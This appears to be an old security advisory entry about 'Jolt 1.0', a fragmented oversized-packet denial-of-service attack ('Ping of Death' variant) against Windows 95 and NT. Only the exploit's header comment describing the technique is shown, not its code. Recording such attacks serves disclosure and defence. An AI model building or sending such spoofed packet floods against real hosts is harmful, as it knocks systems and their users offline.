SYSTEMS AFFECTED

    Win '95, NT

PROBLEM

    For those  who are  collectors of  these stuff,  especially of  so
    called 'Ping  of Death',  here come  another variation.   Original
    exploit follows.

    /* Jolt 1.0 (c) 1997 by Jeff w. Roberson
     * Please, if you use my code give me credit.  Also, if i was  the
     * first to find this glitch, please give me credit.  Thats all  i
     * ask.
     * Ok so all  this does is build  a really fraggmented over  sized
     * packet and  once win95 gets  it, and puts  it back together  it
     * locks.  I send multiple packets by default cause some times  it
     * takes  a few  packets to  totally freeze  the host.   Maybe its
     * spending  processor time  to figure  out how  to put  them back
     * together?   I've had reports  of people blue  screening from it
     * tho so we'll let Microsoft's boys figure out exactly what  this
     * does to 95.  As of now  i haven't tested it on NT, but maybe  i
     * will later  ;).  All  of this source  wasn't origonally written
     * by me  I just took  one of the  old programs to  kill POSIX and
     * SYSV based systems  and worked on it  abit, then made it  spoof
     * =).  VallaH (yaway@hotmail.com)

     * Update: It apears to work on some older versions of mac os
